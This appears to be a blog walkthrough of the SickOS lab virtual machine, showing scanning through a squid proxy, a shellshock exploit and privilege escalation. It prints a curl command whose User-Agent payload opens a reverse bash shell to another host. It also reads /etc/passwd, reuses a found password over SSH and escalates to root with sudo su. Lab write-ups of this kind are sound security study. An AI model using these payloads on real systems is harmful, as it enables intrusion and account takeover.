SickOS

A scan shows port 22 and 3128 open, but port 8080 is closed and is an http-proxy.

s1

3128 shows that it’s a squid proxy, so I set my proxy settings in Firefox to that port.

s2

Going to the IP now shows a website

s3

Nikto scan using the proxy settings reveals a few interesting things

nikto --useproxy 192.168.218.140:3128 -h 192.168.218.140

With the most interesting being shellshocks4

I also ran it through dirbuster (had to also configure proxy settings) and came up with a few interesting directories but nothing out of the ordinary. I decided to pursue the shellshock vulnerability first.

curl -x http://192.168.218.140:3128 -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.218.129/1234 0>&1" http://192.168.218.140/cgi-bin/status

s5

Following my privilege escalation Workflowy list, I checked the config.php file located in /var/www/wolfcms and find mysql credentials

s6

I try to login but it never opens a Mysql prompt

s8

So back to square one.

I did have a password, john@123 so possibly there was password reuse. I do

cat /etc/passwd

to view the users.

I try the password via SSH with user sickos and it works!

s9

I then check the bash history which reveals the command sudo su

s10

which works and I am now root

s11

Aside from the MySql issue, I didn’t run into any other issues with this VM so I actually enjoyed this one.

 

 

 

Create a website or blog at WordPress.com

Up ↑

%d bloggers like this: